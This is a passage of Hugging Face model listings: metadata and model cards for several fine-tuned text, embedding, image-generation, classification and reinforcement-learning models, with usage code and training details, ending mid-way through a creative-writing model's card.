hyunjong7/gemma-product-description_27b_1600	hyunjong7	2025-05-30T07:19:13Z	0	0	transformers	[ "transformers", "tensorboard", "safetensors", "generated_from_trainer", "trl", "sft", "base_model:google/gemma-3-27b-pt", "base_model:finetune:google/gemma-3-27b-pt", "endpoints_compatible", "region:us" ]	null	2025-05-27T06:31:54Z	--- base_model: google/gemma-3-27b-pt library_name: transformers model_name: gemma-product-description_27b_1600 tags: - generated_from_trainer - trl - sft licence: license --- # Model Card for gemma-product-description_27b_1600 This model is a fine-tuned version of [google/gemma-3-27b-pt](https://huggingface.co/google/gemma-3-27b-pt). It has been trained using [TRL](https://github.com/huggingface/trl). ## Quick start ```python from transformers import pipeline question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?" generator = pipeline("text-generation", model="hyunjong7/gemma-product-description_27b_1600", device="cuda") output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0] print(output["generated_text"]) ``` ## Training procedure This model was trained with SFT. ### Framework versions - TRL: 0.18.0 - Transformers: 4.52.3 - Pytorch: 2.7.0 - Datasets: 3.3.2 - Tokenizers: 0.21.1 ## Citations Cite TRL as: ```bibtex @misc{vonwerra2022trl, title = {{TRL: Transformer Reinforcement Learning}}, author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec}, year = 2020, journal = {GitHub repository}, publisher = {GitHub}, howpublished = {\url{https://github.com/huggingface/trl}} } ```
tomerRest/line_item_embeddings	tomerRest	2025-05-30T07:18:53Z	31	0	sentence-transformers	[ "sentence-transformers", "safetensors", "bert", "sentence-similarity", "feature-extraction", "generated_from_trainer", "dataset_size:54000", "loss:CosineSimilarityLoss", "arxiv:1908.10084", "base_model:sentence-transformers/all-MiniLM-L6-v2", "base_model:finetune:sentence-transformers/all-MiniLM-L6-v2", "autotrain_compatible", "text-embeddings-inference", "endpoints_compatible", "region:us" ]	sentence-similarity	2025-05-30T07:17:26Z	--- tags: - sentence-transformers - sentence-similarity - feature-extraction - generated_from_trainer - dataset_size:54000 - loss:CosineSimilarityLoss base_model: sentence-transformers/all-MiniLM-L6-v2 widget: - source_sentence: N/GOUR WHT SOURDOUGH SLICED 750G sentences: - FISH TEMPURA 115GM X 30PCS - BRIOCHE SQ SWICH LARGE - CASSAVA CRACKER 250GM Maxi - source_sentence: MUFFINS RASPBERRY & WHITE CHOCOLATE sentences: - Soft Dinner Roll 35 50pcs - Lemon Meringue Donut - 400 GRADI MALLOREDDUS PTN TRAY (15) - source_sentence: Blue Swimmer Crab 140g+, 1kg pack, 6kg carton (Imported) sentences: - CANOLA OIL SPRAY PINNACLE 450G - Cayenne Red 1KG - THE BOTANIST GIN (1X700ML) - source_sentence: Bistro oyster Tasmanian sentences: - Broken Prawn Meat - CHEESE RICOTTA 1KG RED BASKET VAC - '[DESSERTS) EQ Ice Cream Bacio (4kg/tub)' - source_sentence: Apple Crumble Muffin sentences: - DICED BEEF - GAROFALO PAPPARDELLE NO.1-35 [500GR/PKT] [12/CTN] - Vegan Lemon Blueberry Friand -6pk pipeline_tag: sentence-similarity library_name: sentence-transformers --- # SentenceTransformer based on sentence-transformers/all-MiniLM-L6-v2 This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [sentence-transformers/all-MiniLM-L6-v2](https://huggingface.co/sentence-transformers/all-MiniLM-L6-v2). It maps sentences & paragraphs to a 384-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. ## Model Details ### Model Description - Model Type: Sentence Transformer - Base model: [sentence-transformers/all-MiniLM-L6-v2](https://huggingface.co/sentence-transformers/all-MiniLM-L6-v2) <!-- at revision c9745ed1d9f207416be6d2e6f8de32d1f16199bf --> - Maximum Sequence Length: 256 tokens - Output Dimensionality: 384 dimensions - Similarity Function: Cosine Similarity <!-- - Training Dataset: Unknown --> <!-- - Language: Unknown --> <!-- - License: Unknown --> ### Model Sources - Documentation: [Sentence Transformers Documentation](https://sbert.net) - Repository: [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) - Hugging Face: [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) ### Full Model Architecture ``` SentenceTransformer( (0): Transformer({'max_seq_length': 256, 'do_lower_case': False}) with Transformer model: BertModel (1): Pooling({'word_embedding_dimension': 384, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) (2): Normalize() ) ``` ## Usage ### Direct Usage (Sentence Transformers) First install the Sentence Transformers library: ```bash pip install -U sentence-transformers ``` Then you can load this model and run inference. ```python from sentence_transformers import SentenceTransformer # Download from the 🤗 Hub model = SentenceTransformer("tomerRest/line_item_embeddings") # Run inference sentences = [ 'Apple Crumble Muffin', 'Vegan Lemon Blueberry Friand -6pk', 'GAROFALO PAPPARDELLE NO.1-35 [500GR/PKT] [12/CTN]', ] embeddings = model.encode(sentences) print(embeddings.shape) # [3, 384] # Get the similarity scores for the embeddings similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [3, 3] ``` <!-- ### Direct Usage (Transformers) <details><summary>Click to see the direct usage in Transformers</summary> </details> --> <!-- ### Downstream Usage (Sentence Transformers) You can finetune this model on your own dataset. <details><summary>Click to expand</summary> </details> --> <!-- ### Out-of-Scope Use List how the model may foreseeably be misused and address what users ought not to do with the model. --> <!-- ## Bias, Risks and Limitations What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model. --> <!-- ### Recommendations What are recommendations with respect to the foreseeable issues? For example, filtering explicit content. --> ## Training Details ### Training Dataset #### Unnamed Dataset * Size: 54,000 training samples * Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code> * Approximate statistics based on the first 1000 samples: \| \| sentence_0 \| sentence_1 \| label \| \|:--------\|:----------------------------------------------------------------------------------\|:---------------------------------------------------------------------------------\|:--------------------------------------------------------------\| \| type \| string \| string \| float \| \| details \| <ul><li>min: 4 tokens</li><li>mean: 11.64 tokens</li><li>max: 40 tokens</li></ul> \| <ul><li>min: 3 tokens</li><li>mean: 12.0 tokens</li><li>max: 35 tokens</li></ul> \| <ul><li>min: 0.0</li><li>mean: 0.5</li><li>max: 1.0</li></ul> \| * Samples: \| sentence_0 \| sentence_1 \| label \| \|:------------------------------------------------\|:-------------------------------------\|:-----------------\| \| <code>HTARB TARRAGON BUNCH</code> \| <code>Chives - Garlic</code> \| <code>1.0</code> \| \| <code>CHICKEN THIGH BURGER CUT 140G</code> \| <code>Herb (N-Z)-Parilla</code> \| <code>0.0</code> \| \| <code>12.5kg Self Raising Flour-SUNFIELD</code> \| <code>ISM SALT SACHETS 2000'S</code> \| <code>0.0</code> \| * Loss: [<code>CosineSimilarityLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cosinesimilarityloss) with these parameters: ```json { "loss_fct": "torch.nn.modules.loss.MSELoss" } ``` ### Training Hyperparameters #### Non-Default Hyperparameters - `per_device_train_batch_size`: 32 - `per_device_eval_batch_size`: 32 - `num_train_epochs`: 4 - `multi_dataset_batch_sampler`: round_robin #### All Hyperparameters <details><summary>Click to expand</summary> - `overwrite_output_dir`: False - `do_predict`: False - `eval_strategy`: no - `prediction_loss_only`: True - `per_device_train_batch_size`: 32 - `per_device_eval_batch_size`: 32 - `per_gpu_train_batch_size`: None - `per_gpu_eval_batch_size`: None - `gradient_accumulation_steps`: 1 - `eval_accumulation_steps`: None - `torch_empty_cache_steps`: None - `learning_rate`: 5e-05 - `weight_decay`: 0.0 - `adam_beta1`: 0.9 - `adam_beta2`: 0.999 - `adam_epsilon`: 1e-08 - `max_grad_norm`: 1 - `num_train_epochs`: 4 - `max_steps`: -1 - `lr_scheduler_type`: linear - `lr_scheduler_kwargs`: {} - `warmup_ratio`: 0.0 - `warmup_steps`: 0 - `log_level`: passive - `log_level_replica`: warning - `log_on_each_node`: True - `logging_nan_inf_filter`: True - `save_safetensors`: True - `save_on_each_node`: False - `save_only_model`: False - `restore_callback_states_from_checkpoint`: False - `no_cuda`: False - `use_cpu`: False - `use_mps_device`: False - `seed`: 42 - `data_seed`: None - `jit_mode_eval`: False - `use_ipex`: False - `bf16`: False - `fp16`: False - `fp16_opt_level`: O1 - `half_precision_backend`: auto - `bf16_full_eval`: False - `fp16_full_eval`: False - `tf32`: None - `local_rank`: 0 - `ddp_backend`: None - `tpu_num_cores`: None - `tpu_metrics_debug`: False - `debug`: [] - `dataloader_drop_last`: False - `dataloader_num_workers`: 0 - `dataloader_prefetch_factor`: None - `past_index`: -1 - `disable_tqdm`: False - `remove_unused_columns`: True - `label_names`: None - `load_best_model_at_end`: False - `ignore_data_skip`: False - `fsdp`: [] - `fsdp_min_num_params`: 0 - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} - `fsdp_transformer_layer_cls_to_wrap`: None - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} - `deepspeed`: None - `label_smoothing_factor`: 0.0 - `optim`: adamw_torch - `optim_args`: None - `adafactor`: False - `group_by_length`: False - `length_column_name`: length - `ddp_find_unused_parameters`: None - `ddp_bucket_cap_mb`: None - `ddp_broadcast_buffers`: False - `dataloader_pin_memory`: True - `dataloader_persistent_workers`: False - `skip_memory_metrics`: True - `use_legacy_prediction_loop`: False - `push_to_hub`: False - `resume_from_checkpoint`: None - `hub_model_id`: None - `hub_strategy`: every_save - `hub_private_repo`: None - `hub_always_push`: False - `gradient_checkpointing`: False - `gradient_checkpointing_kwargs`: None - `include_inputs_for_metrics`: False - `include_for_metrics`: [] - `eval_do_concat_batches`: True - `fp16_backend`: auto - `push_to_hub_model_id`: None - `push_to_hub_organization`: None - `mp_parameters`: - `auto_find_batch_size`: False - `full_determinism`: False - `torchdynamo`: None - `ray_scope`: last - `ddp_timeout`: 1800 - `torch_compile`: False - `torch_compile_backend`: None - `torch_compile_mode`: None - `dispatch_batches`: None - `split_batches`: None - `include_tokens_per_second`: False - `include_num_input_tokens_seen`: False - `neftune_noise_alpha`: None - `optim_target_modules`: None - `batch_eval_metrics`: False - `eval_on_start`: False - `use_liger_kernel`: False - `eval_use_gather_object`: False - `average_tokens_across_devices`: False - `prompts`: None - `batch_sampler`: batch_sampler - `multi_dataset_batch_sampler`: round_robin </details> ### Training Logs \| Epoch \| Step \| Training Loss \| \|:------:\|:----:\|:-------------:\| \| 0.2962 \| 500 \| 0.1769 \| \| 0.5924 \| 1000 \| 0.1269 \| \| 0.8886 \| 1500 \| 0.1018 \| \| 1.1848 \| 2000 \| 0.0838 \| \| 1.4810 \| 2500 \| 0.0725 \| \| 1.7773 \| 3000 \| 0.0623 \| \| 2.0735 \| 3500 \| 0.056 \| \| 2.3697 \| 4000 \| 0.0478 \| \| 2.6659 \| 4500 \| 0.0485 \| \| 2.9621 \| 5000 \| 0.0457 \| \| 3.2583 \| 5500 \| 0.0412 \| \| 3.5545 \| 6000 \| 0.0406 \| \| 3.8507 \| 6500 \| 0.039 \| ### Framework Versions - Python: 3.12.7 - Sentence Transformers: 3.3.1 - Transformers: 4.49.0 - PyTorch: 2.6.0 - Accelerate: 1.4.0 - Datasets: 3.4.1 - Tokenizers: 0.21.1 ## Citation ### BibTeX #### Sentence Transformers ```bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } ``` <!-- ## Glossary Clearly define terms in order to be accessible across audiences. --> <!-- ## Model Card Authors Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction. --> <!-- ## Model Card Contact Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors. -->
suzii/gemma-3-4B-function-calling-v0.1	suzii	2025-05-30T07:17:23Z	3	0	transformers	[ "transformers", "safetensors", "gemma3", "image-text-to-text", "text-generation-inference", "unsloth", "conversational", "en", "base_model:unsloth/gemma-3-4b-it-unsloth-bnb-4bit", "base_model:finetune:unsloth/gemma-3-4b-it-unsloth-bnb-4bit", "license:apache-2.0", "endpoints_compatible", "region:us" ]	image-text-to-text	2025-05-30T07:15:00Z	--- base_model: unsloth/gemma-3-4b-it-unsloth-bnb-4bit tags: - text-generation-inference - transformers - unsloth - gemma3 license: apache-2.0 language: - en --- # Uploaded finetuned model - Developed by: suzii - License: apache-2.0 - Finetuned from model : unsloth/gemma-3-4b-it-unsloth-bnb-4bit This gemma3 model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library. [<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
danhtran2mind/ghibli-fine-tuned-sd-2.1	danhtran2mind	2025-05-30T07:17:01Z	33	0	diffusers	[ "diffusers", "tensorboard", "safetensors", "ghibli", "text2image", "text-to-image", "en", "dataset:uwunish/ghibli-dataset", "base_model:stabilityai/stable-diffusion-2-1-base", "base_model:finetune:stabilityai/stable-diffusion-2-1-base", "license:mit", "autotrain_compatible", "endpoints_compatible", "diffusers:StableDiffusionPipeline", "region:us" ]	text-to-image	2025-04-19T03:51:57Z	--- license: mit datasets: - uwunish/ghibli-dataset language: - en base_model: - stabilityai/stable-diffusion-2-1-base pipeline_tag: text-to-image library_name: diffusers tags: - ghibli - text2image --- <div align="center"> <h1> Ghibli Fine-Tuned Stable Diffusion 2.1 </h1> </div> ## Dataset Avalible at: https://huggingface.co/datasets/uwunish/ghibli-dataset. ## Hyperparameters The fine-tuning process was optimized with the following hyperparameters: \| Hyperparameter \| Value \| \| --- \| --- \| \| `learning_rate` \| 1e-05 \| \| `num_train_epochs` \| 40 \| \| `train_batch_size` \| 2 \| \| `gradient_accumulation_steps` \| 2 \| \| `mixed_precision` \| "fp16" \| \| `resolution` \| 512 \| \| `max_grad_norm` \| 1 \| \| `lr_scheduler` \| "constant" \| \| `lr_warmup_steps` \| 0 \| \| `checkpoints_total_limit` \| 1 \| \| `use_ema` \| True \| \| `use_8bit_adam` \| True \| \| `center_crop` \| True \| \| `random_flip` \| True \| \| `gradient_checkpointing` \| True \| These parameters were carefully selected to balance training efficiency and model performance, leveraging techniques like mixed precision and gradient checkpointing. ## Metrics The fine-tuning process achieved a final loss of 0.0345, indicating excellent convergence and high fidelity to the Ghibli art style. ## Usage ### Step 1: Import Required Libraries Begin by importing the necessary libraries to power the image generation pipeline. ```python import torch from PIL import Image import numpy as np from transformers import CLIPTextModel, CLIPTokenizer from diffusers import AutoencoderKL, UNet2DConditionModel, PNDMScheduler from tqdm import tqdm ``` ### Step 2: Configure the Model Set up the device, data type, and load the pre-trained Ghibli-fine-tuned Stable Diffusion model. ```python # Configure device and data type device = torch.device("cuda" if torch.cuda.is_available() else "cpu") dtype = torch.float16 if torch.cuda.is_available() else torch.float32 # Model path model_name = "danhtran2mind/ghibli-fine-tuned-sd-2.1" # Load model components vae = AutoencoderKL.from_pretrained(model_name, subfolder="vae", torch_dtype=dtype).to(device) tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder="tokenizer") text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder="text_encoder", torch_dtype=dtype).to(device) unet = UNet2DConditionModel.from_pretrained(model_name, subfolder="unet", torch_dtype=dtype).to(device) scheduler = PNDMScheduler.from_pretrained(model_name, subfolder="scheduler") ``` ### Step 3: Define the Image Generation Function Use the following function to generate Ghibli-style images based on your text prompts. ```python def generate_image(prompt, height=512, width=512, num_inference_steps=50, guidance_scale=3.5, seed=42): """Generate a Ghibli-style image from a text prompt.""" # Set random seed for reproducibility generator = torch.Generator(device=device).manual_seed(int(seed)) # Tokenize and encode the prompt text_input = tokenizer( [prompt], padding="max_length", max_length=tokenizer.model_max_length, truncation=True, return_tensors="pt" ) with torch.no_grad(): text_embeddings = text_encoder(text_input.input_ids.to(device))[0].to(dtype=dtype) # Encode an empty prompt for classifier-free guidance uncond_input = tokenizer( [""], padding="max_length", max_length=text_input.input_ids.shape[-1], return_tensors="pt" ) with torch.no_grad(): uncond_embeddings = text_encoder(uncond_input.input_ids.to(device))[0].to(dtype=dtype) text_embeddings = torch.cat([uncond_embeddings, text_embeddings]) # Initialize latent representations latents = torch.randn( (1, unet.config.in_channels, height // 8, width // 8), generator=generator, dtype=dtype, device=device ) # Configure scheduler timesteps scheduler.set_timesteps(num_inference_steps) latents = latents * scheduler.init_noise_sigma # Denoising loop for t in tqdm(scheduler.timesteps, desc="Generating image"): latent_model_input = torch.cat([latents] * 2) latent_model_input = scheduler.scale_model_input(latent_model_input, t) with torch.no_grad(): if device.type == "cuda": with torch.autocast(device_type="cuda", dtype=torch.float16): noise_pred = unet(latent_model_input, t, encoder_hidden_states=text_embeddings).sample else: noise_pred = unet(latent_model_input, t, encoder_hidden_states=text_embeddings).sample # Apply classifier-free guidance noise_pred_uncond, noise_pred_text = noise_pred.chunk(2) noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond) latents = scheduler.step(noise_pred, t, latents).prev_sample # Decode latents to image with torch.no_grad(): latents = latents / vae.config.scaling_factor image = vae.decode(latents).sample # Convert to PIL Image image = (image / 2 + 0.5).clamp(0, 1) image = image.detach().cpu().permute(0, 2, 3, 1).numpy() image = (image * 255).round().astype("uint8") return Image.fromarray(image[0]) ``` ### Step 4: Generate Your Image Craft a vivid prompt and generate your Ghibli-style masterpiece. ```python # Example prompt prompt = "a serene landscape in Ghibli style" # Generate the image image = generate_image( prompt=prompt, height=512, width=512, num_inference_steps=50, guidance_scale=3.5, seed=42 ) # Display or save the image image.show() # Or image.save("ghibli_landscape.png") ``` ## Environment The project was developed and tested in the following environment: - Python Version: 3.11.11 - Dependencies: \| Library \| Version \| \| --- \| --- \| \| huggingface-hub \| 0.30.2 \| \| accelerate \| 1.3.0 \| \| bitsandbytes \| 0.45.5 \| \| torch \| 2.5.1 \| \| Pillow \| 11.1.0 \| \| numpy \| 1.26.4 \| \| transformers \| 4.51.1 \| \| torchvision \| 0.20.1 \| \| diffusers \| 0.33.1 \| \| gradio \| Latest \| Ensure your environment matches these specifications to avoid compatibility issues.
DevQuasar/huihui-ai.AceReason-Nemotron-14B-abliterated-GGUF	DevQuasar	2025-05-30T07:14:33Z	8	0	null	[ "gguf", "text-generation", "base_model:huihui-ai/AceReason-Nemotron-14B-abliterated", "base_model:quantized:huihui-ai/AceReason-Nemotron-14B-abliterated", "endpoints_compatible", "region:us", "conversational" ]	text-generation	2025-05-30T04:43:14Z	--- base_model: - huihui-ai/AceReason-Nemotron-14B-abliterated pipeline_tag: text-generation --- [<img src="https://raw.githubusercontent.com/csabakecskemeti/devquasar/main/dq_logo_black-transparent.png" width="200"/>](https://devquasar.com) Quantized version of: [huihui-ai/AceReason-Nemotron-14B-abliterated](https://huggingface.co/huihui-ai/AceReason-Nemotron-14B-abliterated) 'Make knowledge free for everyone' <p align="center"> Made with <br> <a href="https://www.civo.com/" target="_blank"> <img src="https://www.civo.com/assets/public/brand-assets/civo-logo-colour-60cc1622dedf346f7afde1fff760523f731b0aac106a5465af98ff4073114b74.svg" width="100"/> </a> </p> <a href='https://ko-fi.com/L4L416YX7C' target='_blank'><img height='36' style='border:0px;height:36px;' src='https://storage.ko-fi.com/cdn/kofi6.png?v=6' border='0' alt='Buy Me a Coffee at ko-fi.com' /></a>
gajratej/beacon-product-classifier	gajratej	2025-05-30T07:09:00Z	0	0	transformers	[ "transformers", "tensorboard", "safetensors", "modernbert", "text-classification", "generated_from_trainer", "base_model:answerdotai/ModernBERT-base", "base_model:finetune:answerdotai/ModernBERT-base", "license:apache-2.0", "autotrain_compatible", "endpoints_compatible", "region:us" ]	text-classification	2025-05-30T07:07:29Z	--- library_name: transformers license: apache-2.0 base_model: answerdotai/ModernBERT-base tags: - generated_from_trainer metrics: - f1 model-index: - name: beacon-product-classifier results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # beacon-product-classifier This model is a fine-tuned version of [answerdotai/ModernBERT-base](https://huggingface.co/answerdotai/ModernBERT-base) on an unknown dataset. It achieves the following results on the evaluation set: - Loss: 0.2594 - F1: 0.9876 ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 5e-05 - train_batch_size: 32 - eval_batch_size: 16 - seed: 42 - optimizer: Use OptimizerNames.ADAMW_TORCH_FUSED with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments - lr_scheduler_type: linear - num_epochs: 5 ### Training results \| Training Loss \| Epoch \| Step \| Validation Loss \| F1 \| \|:-------------:\|:-----:\|:----:\|:---------------:\|:------:\| \| No log \| 1.0 \| 6 \| 0.1665 \| 1.0 \| \| No log \| 2.0 \| 12 \| 0.2268 \| 0.9712 \| \| No log \| 3.0 \| 18 \| 0.5088 \| 0.9135 \| \| No log \| 4.0 \| 24 \| 0.2909 \| 0.9712 \| \| No log \| 5.0 \| 30 \| 0.2594 \| 0.9876 \| ### Framework versions - Transformers 4.48.0.dev0 - Pytorch 2.6.0+cu124 - Datasets 3.1.0 - Tokenizers 0.21.0
LaaP-ai/finvix1.1-0.5-4int	LaaP-ai	2025-05-30T07:05:08Z	0	0	transformers	[ "transformers", "safetensors", "text-generation-inference", "unsloth", "qwen2", "trl", "en", "license:apache-2.0", "endpoints_compatible", "region:us" ]	null	2025-05-30T07:04:53Z	--- base_model: unsloth/qwen2.5-0.5b-instruct-unsloth-bnb-4bit tags: - text-generation-inference - transformers - unsloth - qwen2 - trl license: apache-2.0 language: - en --- # Uploaded model - Developed by: LaaP-ai - License: apache-2.0 - Finetuned from model : unsloth/qwen2.5-0.5b-instruct-unsloth-bnb-4bit This qwen2 model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library. [<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
tonnu/a5a6ef5b-a9da-48b7-8f14-392c5b16134f	tonnu	2025-05-30T07:01:02Z	0	0	diffusers	[ "diffusers", "flux", "lora", "replicate", "text-to-image", "en", "base_model:black-forest-labs/FLUX.1-dev", "base_model:adapter:black-forest-labs/FLUX.1-dev", "license:other", "region:us" ]	text-to-image	2025-05-30T06:49:01Z	--- license: other license_name: flux-1-dev-non-commercial-license license_link: https://huggingface.co/black-forest-labs/FLUX.1-dev/blob/main/LICENSE.md language: - en tags: - flux - diffusers - lora - replicate base_model: "black-forest-labs/FLUX.1-dev" pipeline_tag: text-to-image # widget: # - text: >- # prompt # output: # url: https://... instance_prompt: TOK --- # A5A6Ef5B A9Da 48B7 8F14 392C5B16134F <Gallery /> ## About this LoRA This is a [LoRA](https://replicate.com/docs/guides/working-with-loras) for the FLUX.1-dev text-to-image model. It can be used with diffusers or ComfyUI. It was trained on [Replicate](https://replicate.com/) using AI toolkit: https://replicate.com/ostris/flux-dev-lora-trainer/train ## Trigger words You should use `TOK` to trigger the image generation. ## Run this LoRA with an API using Replicate ```py import replicate input = { "prompt": "TOK", "lora_weights": "https://huggingface.co/tonnu/a5a6ef5b-a9da-48b7-8f14-392c5b16134f/resolve/main/lora.safetensors" } output = replicate.run( "black-forest-labs/flux-dev-lora", input=input ) for index, item in enumerate(output): with open(f"output_{index}.webp", "wb") as file: file.write(item.read()) ``` ## Use it with the [🧨 diffusers library](https://github.com/huggingface/diffusers) ```py from diffusers import AutoPipelineForText2Image import torch pipeline = AutoPipelineForText2Image.from_pretrained('black-forest-labs/FLUX.1-dev', torch_dtype=torch.float16).to('cuda') pipeline.load_lora_weights('tonnu/a5a6ef5b-a9da-48b7-8f14-392c5b16134f', weight_name='lora.safetensors') image = pipeline('TOK').images[0] ``` For more details, including weighting, merging and fusing LoRAs, check the [documentation on loading LoRAs in diffusers](https://huggingface.co/docs/diffusers/main/en/using-diffusers/loading_adapters) ## Training details - Steps: 1000 - Learning rate: 0.0004 - LoRA rank: 16 ## Contribute your own examples You can use the [community tab](https://huggingface.co/tonnu/a5a6ef5b-a9da-48b7-8f14-392c5b16134f/discussions) to add images that show off what you’ve made with this LoRA.
pratyushmathur/ppo-Huggy	pratyushmathur	2025-05-30T07:00:16Z	1	0	ml-agents	[ "ml-agents", "tensorboard", "onnx", "Huggy", "deep-reinforcement-learning", "reinforcement-learning", "ML-Agents-Huggy", "region:us" ]	reinforcement-learning	2025-05-30T07:00:03Z	--- library_name: ml-agents tags: - Huggy - deep-reinforcement-learning - reinforcement-learning - ML-Agents-Huggy --- # ppo Agent playing Huggy This is a trained model of a ppo agent playing Huggy using the [Unity ML-Agents Library](https://github.com/Unity-Technologies/ml-agents). ## Usage (with ML-Agents) The Documentation: https://unity-technologies.github.io/ml-agents/ML-Agents-Toolkit-Documentation/ We wrote a complete tutorial to learn to train your first agent using ML-Agents and publish it to the Hub: - A short tutorial where you teach Huggy the Dog 🐶 to fetch the stick and then play with him directly in your browser: https://huggingface.co/learn/deep-rl-course/unitbonus1/introduction - A longer tutorial to understand how works ML-Agents: https://huggingface.co/learn/deep-rl-course/unit5/introduction ### Resume the training ```bash mlagents-learn <your_configuration_file_path.yaml> --run-id=<run_id> --resume ``` ### Watch your Agent play You can watch your agent playing directly in your browser 1. If the environment is part of ML-Agents official environments, go to https://huggingface.co/unity 2. Step 1: Find your model_id: pratyushmathur/ppo-Huggy 3. Step 2: Select your .nn /.onnx file 4. Click on Watch the agent play 👀
Zhihu-ai/Zhi-Create-DSR1-14B-GPTQ-INT4	Zhihu-ai	2025-05-30T06:59:04Z	78	12	transformers	[ "transformers", "safetensors", "qwen2", "text-generation", "conversational", "zh", "en", "dataset:Congliu/Chinese-DeepSeek-R1-Distill-data-110k", "dataset:cognitivecomputations/dolphin-r1", "dataset:open-thoughts/OpenThoughts-114k", "dataset:qihoo360/Light-R1-SFTData", "dataset:qihoo360/Light-R1-DPOData", "arxiv:2406.18629", "arxiv:2402.13228", "base_model:Zhihu-ai/Zhi-Create-DSR1-14B", "base_model:quantized:Zhihu-ai/Zhi-Create-DSR1-14B", "license:apache-2.0", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "4-bit", "gptq", "region:us" ]	text-generation	2025-04-19T02:46:48Z	--- license: apache-2.0 datasets: - Congliu/Chinese-DeepSeek-R1-Distill-data-110k - cognitivecomputations/dolphin-r1 - open-thoughts/OpenThoughts-114k - qihoo360/Light-R1-SFTData - qihoo360/Light-R1-DPOData language: - zh - en base_model: - Zhihu-ai/Zhi-Create-DSR1-14B tags: - qwen2 library_name: transformers --- # Zhi-Create-DSR1-14B ## 1. Introduction Zhi-Create-DSR1-14B is a fine-tuned model based on DeepSeek-R1-Distill-Qwen-14B, specifically optimized for enhanced creative writing capabilities. Several benchmark evaluations indicate the model's improved creative writing performance. In the [LLM Creative Story-Writing Benchmark](https://github.com/lechmazur/writing), the model achieved a score of 8.33 compared to its base model's 7.8. In the [WritingBench](https://github.com/X-PLUG/WritingBench) evaluation framework, it scored 8.46, showing improvement over DeepSeek-R1-Distill-Qwen-14B's 7.93. The model was also evaluated using GPT-4o on the AlpacaEval dataset, achieving an 82.6% win rate when compared with the base model. The figure below shows the performance comparison across different domains in WritingBench: ![writingbench](./writingbench_score.png) <figcaption style="text-align:center; font-size:0.9em; color:#666"> Figure 1: WritingBench performance of Zhi-Create-DSR1-14B and DeepSeek-R1-Distill-Qwen-14B across 6 domains and 3 writing requirements evaluated with WritingBench critic model (scale: 1-10). The six domains include: (D1) Academic & Engineering, (D2) Finance & Business, (D3) Politics & Law, (D4) Literature & Art, (D5) Education, and (D6) Advertising & Marketing. The three writing requirements assessed are: (R1) Style, (R2) Format, and (R3) Length. Here, "C" indicates category-specific scores. </figcaption> ## 2. Training Process ### Data The model's training corpus comprises three primary data sources: rigorously filtered open-source datasets, chain-of-thought reasoning corpora, and curated question-answer pairs from Zhihu. To achieve optimal domain coverage, we meticulously balanced the distribution of various datasets, including [Dolphin-r1](https://huggingface.co/datasets/cognitivecomputations/dolphin-r1), [Congliu/Chinese-DeepSeek-R1-Distill-data-110k](https://huggingface.co/datasets/Congliu/Chinese-DeepSeek-R1-Distill-data-110k), [OpenThoughts-114k](https://huggingface.co/datasets/open-thoughts/OpenThoughts-114k), [Light-R1-SFTData](https://huggingface.co/datasets/qihoo360/Light-R1-SFTData), and [Light-R1-DPOData](https://huggingface.co/datasets/qihoo360/Light-R1-DPOData), alongside high-quality content from Zhihu. All datasets underwent comprehensive quality assurance through our Reward Model (RM) filtering pipeline. ### Training Supervised Fine-tuning (SFT): We employed a curriculum learning strategy for supervised fine-tuning. This methodical approach systematically enhances creative writing capabilities while incorporating diverse domain data to maintain core competencies and mitigate catastrophic forgetting. Direct Preference Optimization (DPO): For scenarios involving minimal edit distances, we utilized Step-DPO ([arxiv:2406.18629](https://arxiv.org/abs/2406.18629)) to selectively penalize incorrect tokens, while incorporating positive constraints in the loss function as proposed in DPOP ([arXiv:2402.13228](https://arxiv.org/abs/2402.13228)). ## 3. Evaluation Results Our evaluation results suggest promising improvements in the model's creative writing capabilities. In the LLM Creative Story-Writing Benchmark evaluation, the model achieved a score of 8.33, showing an improvement from the base model's 7.87. When assessed on WritingBench, a 